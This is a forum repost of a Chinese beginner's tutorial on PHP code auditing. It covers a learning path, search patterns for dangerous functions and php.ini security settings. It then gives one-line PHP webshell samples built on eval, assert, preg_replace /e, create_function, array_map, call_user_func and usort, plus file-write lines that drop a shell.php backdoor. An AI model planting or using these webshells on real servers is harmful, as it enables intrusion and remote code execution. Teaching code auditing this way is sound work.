外链论坛

 找回密码
 立即注册
搜索
查看: 24|回复: 4

一块来学PHP代码审计 | 新手入门篇

[复制链接]

3027

主题

210

回帖

9777万

积分

论坛元老

Rank: 8Rank: 8

积分
97779022
发表于 2024-11-3 11:07:42 | 显示全部楼层 |阅读模式

PHP代码入门代码审计指的是对源代码进行检测,寻找代码中的bug和安全缺陷,这个是一项需要多方面技能的技术,因此咱们需要把握编程,漏洞原理,还要认识系统服务和中间件等。然则这对咱们小白来讲,可能便是一个“代码审计之从入门到放弃”的悲惨故事,因此咱们的学习路线很重要,这儿咱们一块来制定一个学习路线理清咱们的学习思路。小白代码审计的养成之路—基本

一 、编程语言篇

1.前端语言 html/javascript/dom元素运用 重点是为了挖掘xss漏洞 jquery 重点有些触及到CSRF脚本运用DOM型XSS,JSON劫持等,2.后端语言 基本语法要晓得例如 变量类型,常量,数组(python 是列表,元组,字典),对象,类的调用,引用等, MVC设计模式要清楚,由于大部分目的程序都是基于MVC写的,包含不限于php,python,java(这儿我想大众晓得编程语言会一种就一通通百通)。不需求会写,然则必定能看懂,况且要看懂规律,晓得那些功能点会用什么方式去写,可能会显现什么类型漏洞,方便挖掘常规类型漏洞,更方便挖掘规律漏洞

二 、渗透技巧篇

1.会用平常的渗透工具如sqlmap, awvs,burpsuite等进行渗透(能用工具直接挖洞,当脚本小子很香)2.能用手工去进行渗透(为何要懂渗透技巧 其一在于你找到漏洞的时候,一般研发功底是不足以构造PAYLOAD的,需要有些特殊的PADYLOAD构造方式。其二你在找漏洞时,能够辅助你更快的去挖掘漏洞)

三 、辅助技术篇

1.协议 例如HTTP传输方式,dict:// file://等,懂得Header头怎样伪造 例如XFF注入时的x-forward-for,cookie注入,CRLF身份请求伪造等。2.程序搭建 你审计时要学会程序搭建,否则静态审计时,没法进行动态调试,方便你更快更有效挖掘漏洞3.URL链接构造URL路由4.SQL语句及数据库特性 这个重点触及到SQL注入及sql注入的payload构造绕过5.中间件及服务器特性 有的代码漏洞 是基于中间件及服务器特性导致的 例如IIS6.0的解析 nginx的解析漏洞等6.审计辅助工具 IDE,phpstrom 审计工具跟踪代码时用到,可与xdebug绑定运用方便调试,源代码审计工具 rips,seay审计工具,辅助你更快的找到漏洞产生点

4、漏洞挖掘

1.咱们要懂得漏洞类型产生原理2.懂得危险函数的参数欠妥运用导致的漏洞威胁 例如触及到命令执行代码执行的eval,assert,array_map,usort等,例如本身函数的脆弱性,is_numeric,md5等3.晓得php函数的脆弱性 例如==与=== ,===并不是强大无比不可绕过的,要结合代码设计规律4.php的奇技淫巧5.php版本及配置欠妥结合函数欠妥利用导致的漏洞威胁最后:这些东西咱们能够去那里学呢?关于前后端语言、sql语法这些,咱们能够去菜鸟教程(咱们要的是能看懂,因此完全能够自学)。其他的咱们在后续的文案中会继续仔细学习。小白代码审计的养成之路—思路代码审计的思路咱们需要去学习的两大审计的基本办法跟踪用户的输入数据,判断数据进入的每一个代码规律是不是有可利用的点,此处的代码逻辑能够是一个函数,是条小小的要求判断语句。按照区别编程语言的特性,及其历史上经常产生漏洞的有些函数,功能,把这些点找出来,在分析函数调用时的参数,倘若参数是用户可控,就特别有可能诱发安全漏洞寻找漏洞前准备理解此刻的cms大致可分为两种,单入口模式和多入口模式.1.多入口模式cms :每一个功能都需要拜访区别的文件。2.单入口模式的cms:MVC的研发出来的,因此咱们要清楚mvc架构挖掘漏洞方式1、搜索有些获取用户输入数据的函数,来找到用户输入数据的源头,之后咱们这儿为起点,跟踪数据的流向,分析在这全部过程中数据的处理状况从而定位可能触发漏洞的点。2、搜索有些经常产生安全问题的函数,例如执行数 据库查找的函数,执行系统命令的函数,文件操作类函数等等,在经过回溯这些函数在被调用时参数,判断参数是不是咱们可控,从而定位漏洞点。3.常用的php正则$_SERVER|$_COOKIE|$_REQUEST|$_GET|$_POST 获取用户输入eval(|assert(|system( 命令执行require(|require_once(|include(|include_once( 文件包括file_get_contents(|file(|fopen(|highlight_file(|show_source(|unlink 文件读取,写入,删除simplexml_load_string XXEunserialize 反序列化漏洞首要PHP的配置1.php的配置-配置文件php.ini 全局.user.ini 用户2.PHP的配置-语法设置指令格式directive=value指令名(directive)体积敏锐(foo=bar区别于FOO=bar),值(value)能够是:用引号界定的字符串(”foo”)一个数字(整数或浮点数0,1,55,-1,32.2)、一个php常量(E_ALL,M_PI)、一个ini常量(On,Off,none) 、一个表达式(E_ALL&~E_NOTICE)ini文件种的表达示仅运用:位运算符,规律非,圆括号,|位或、&位与、~位非、!规律非、布尔值用On暗示打开,用Off暗示关闭。3.PHP的配置-变量关联配置启用全局变量:register_globals = Off某些程序如osc需要启用全局变量,这个设置的功效是关闭自动注册全局变量,在设置为On时、php会将$POST,$GET,$COOKIE,$ENV,$SESSION数组中的$key=>$value直接注册为变量($POST[username]就会被注册为$username)这会导致三个问题:1.不晓得变量从哪里来的,($POSTl来的还是$SESSION来的呢?)不方便别人阅读代码2.变量之间相互覆盖,导致不必要的麻烦3.安全问题。因此通常设置为Off。短标签:short_open_tag = On这个设置决定是不是准许运用php代码起始标志的缩写形式(<? ?>)。倘若禁用了,必须运用必须运用php代码起始标志的完整形式(<?php ?>)。这个指令会影响到缩写形式<?=,它和<?echo 等价。运用此缩写需要short_open_tag的值为On,从php5.4.0起,<?=总是可用的。(写shell的时候会判断标签倘若<?php?>就会拦截,倘若开启了短标签就能够思虑用缩写)4.PHP的配置-平常重要配置-安全模式安全模式:safe_mode = OffPHP的安全模式是一个非常重要的内嵌安全机制,能够掌控有些php中的函数,例如system()同期把很多文件操作函数进行了权限掌控准许某些关键文件的文件,例如/etc/passwd,但默认的php.ini是打开安全模式的(这个特性自php5.3.0起废弃并在php5.4.0起移除)安全模式下执行程序主目录:safe_mode_exec_dir = /var/www/html倘若php运用了安全模式,system()和其他程序执行函数将拒绝起步这里目录中的程序。必须运用/做为目录分隔符,包含windows中。简单来讲便是在这个目录下才可执行。禁用类/函数:disable_classes = ,disable_functions = ,disable_functions = opendir,readdir,scandir,fopen,unlink禁用某些类,禁止某些函数。接受逗号分隔的函数名列表做为参数。只能设置在php.ini中。5.PHP的配置-平常的重要配置-上传文件及目录权限设置上传及最大上传文件体积:file_uploads = On ,upload_max_filesize = 8M文件上传临时目录:upload_tmp_dir = 上传文件临时保留的目录,需要可写,倘若不设置,则采用系统临时目录。(/tmp,C:WindowsTemp用户拜访目录限制:open_basedir = .:/tmp/运用open_basedir选项能够掌控php脚本只能拜访指定目录,这般能避免php脚本拜访不该拜访的文件,必定程度上限制了phpshell的害处通常设置为只能拜访网站目录,暗示准许拜访当前目录(即php脚本文件所在之目录)和/tmp/目录,有效防止php木马跨站运行。6.PHP的配置-平常的重要配置-错误信息错误信息掌控:display_error = On是不是将错误信息做为输出的一部分,站点发布后应关闭这个功能,以避免暴露信息。调试的时候打开就好设置错误报告级别:error_reporting = E_ALL这个设置的功效是将错误级别设置为最高,表示所有错误,方便查错,有利于写出高质量代码。日志级别是有些常量,在php.ini中有写,举荐运用E_ALL|E_STRICT,即所有级别。错误日志 :error_log =错误日志的位置,必须对web用户可写入,倘若不定义则默认写到web服务器的错误日志中去 log_error = On 意见将错误日志输出到文件,而不直接输出到前端。log_errors_max_length = 1024错误日志相关信息的最大长度,设置为0的时候暗示无限长度。7.PHP的配置-平常的重要配置-魔术引号及远程文件魔术引号 (php5.3.0废弃php5.4.0移除):magic_quotes_gpc = Onmagic_quotes_runtime = Off为GPC(GET/POST/COOKIE)操作设置magic_quotes状态,当magic_quotes为On所有的(单引号)、"(双引号)、(反斜杆)、和NULL都被一个反斜杆自动转义是不是准许打开远程文件:allow_url_fopen = On本选项激活了url形式的fopen封装协议使得能够拜访url对象例如文件。默认封装协议供给用ftp和http协议来拜访远程文件,有些扩展库例如zlib可能会注册更加多的封装协议<?php echo file_get_contents("http://php.net"); ?>是不是准许包括远程文件:allow_url_include = Off本选项激活准许include,include_once,require,require_once等函数运用url形式的fopen封装协议。简单来讲便是能够包括远程文件。 <?php include("http://php.net"); ?>PHP代码执行函数总结

PHP中能够执行代码的函数,常用于编写一句话木马,可能引起代码执行漏洞,这儿对代码执行函数做有些归纳。

平常代码执行函数,如
array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()文件操作函数、动态函数($a($b))1.eval()eval() 函数把字符串根据 PHP 代码来计算,如平常的一句话后门程序:<?php eval($_POST[cmd])?>2.assert()eval()类似,字符串被 assert()

当做 PHP 代码来执行,如:

示例代码:

<?php //?cmd=phpinfo() assert($_REQUEST[cmd]); ?>3.reg_replace()mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索subject中匹配pattern的部分, 以replacement进行替换。

preg_replace()函数本来是执行一个正则表达式的搜索和替换,但由于存在危险的/e修饰符,使 preg_replace() 将$replacement 参数当作 PHP 代码示例代码:<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST[cmd],"abcd"); ?>4.reate_function()create_function()重点用来创建匿名函数,倘若严格对参数传递进行过滤,攻击者能够构造特殊字符串传递给create_function()执行任意命令。代码示例:<?php //?cmd=phpinfo(); $func =create_function(,$_REQUEST[cmd]); $func(); ?>5.array_map()array_map()函数将用户自定义函数功效到数组中的每一个值上,并返回用户自定义函数功效后的带有新值的数组。回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。代码示例:<?php //?func=system&cmd=whoami $func=$GET[func]; $cmd=$GET[cmd]; $array[0]=$cmd; $new_array=array_map($func,$array); //print_r($new_array); ?>6.call_user_func()/call_user_func_array ()call_user_func

 把第1个参数做为回调函数调用,其余参数是回调函数的参数。

call_user_func_array

 调用回调函数,并把一个数组参数做为回调函数的参数

<?php //?cmd=phpinfo() @call_user_func(assert,$_GET[cmd]); ?><?php //?cmd=phpinfo() $cmd=$_GET[cmd]; $array[0]=$cmd; call_user_func_array("assert",$array); ?>7.array_filter()array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )依次将 array数组中的每一个值传递到callback函数。倘若 callback函数返回true,则array数组的当前值会被包括在返回的结果数组中。数组的键名保存不变。<?php //?func=system&cmd=whoami $cmd=$GET[cmd]; $array1=array($cmd); $func =$GET[func]; array_filter($array1,$func); ?>8.usort()、uasort()usort() 经过用户自定义的比较函数对数组进行排序。uasort() 运用用户自定义的比较函数对数组中的值进行排序并保持索引相关代码示例:php环境>=5.6才可用 <?php usort(...$_GET);?> 利用方式:

test.php?1[]=1-1&1[]=eval($_POST[x])&2=assert

[POST] x=phpinfo();
<?php usort($_GET,asse.rt);?>利用方式:test.php?1=1+1&2=eval

($_POST[x])

9.文件操作函数file_put_contents()

 函数把一个字符串写入文件中。

fputs() 函数写入文件
代码示例:<?php $test=<?php eval($_POST[cmd]);?>; file_put_contents(test1.php,$test); ?> <?php fputs(fopen(shell.php,w),<?php eval($_POST[cmd])?>); ?>10.动态函数PHP函数直接由字符串拼接代码示例:<?php //?a=assert&b=phpinfo() $GET[a]($GET[b]); ?>

本文为系列更新,请关注后续发布

文案转载自公众号:掌控安全EDU

- End -

精彩举荐

SQL注入基本整理及Tricks总结

秘码学学习笔记 之 paillier cryptosystem

ARM设备武器化指南·破·Kali.Nethunter.2020a.上手实操

.htaccess利用与Bypass方式总结

觉得内容不错就点个“在看”吧!





上一篇:PHP代码审计SQL注入篇
下一篇:「代码审计」哪些代码审计的思路
回复

使用道具 举报

2994

主题

3万

回帖

9910万

积分

论坛元老

Rank: 8Rank: 8

积分
99109202
发表于 2024-11-5 15:01:22 | 显示全部楼层
在遇到你之前,我对人世间是否有真正的圣人是怀疑的。
回复

使用道具 举报

3069

主题

3万

回帖

9915万

积分

论坛元老

Rank: 8Rank: 8

积分
99158935
发表于 2024-11-6 11:26:26 | 显示全部楼层
你的见解独到,让我受益匪浅,期待更多交流。
回复

使用道具 举报

3086

主题

3万

回帖

9909万

积分

论坛元老

Rank: 8Rank: 8

积分
99098780
发表于 2024-11-8 12:57:19 | 显示全部楼层
请问、你好、求解、谁知道等。
回复

使用道具 举报

3120

主题

3万

回帖

9910万

积分

论坛元老

Rank: 8Rank: 8

积分
99108637
发表于 4 小时前 | 显示全部楼层
你的见解独到,让我受益匪浅,非常感谢。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

站点统计|Archiver|手机版|小黑屋|外链论坛 ( 非经营性网站 )|网站地图

GMT+8, 2024-11-22 15:40 , Processed in 1.083168 second(s), 39 queries .

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.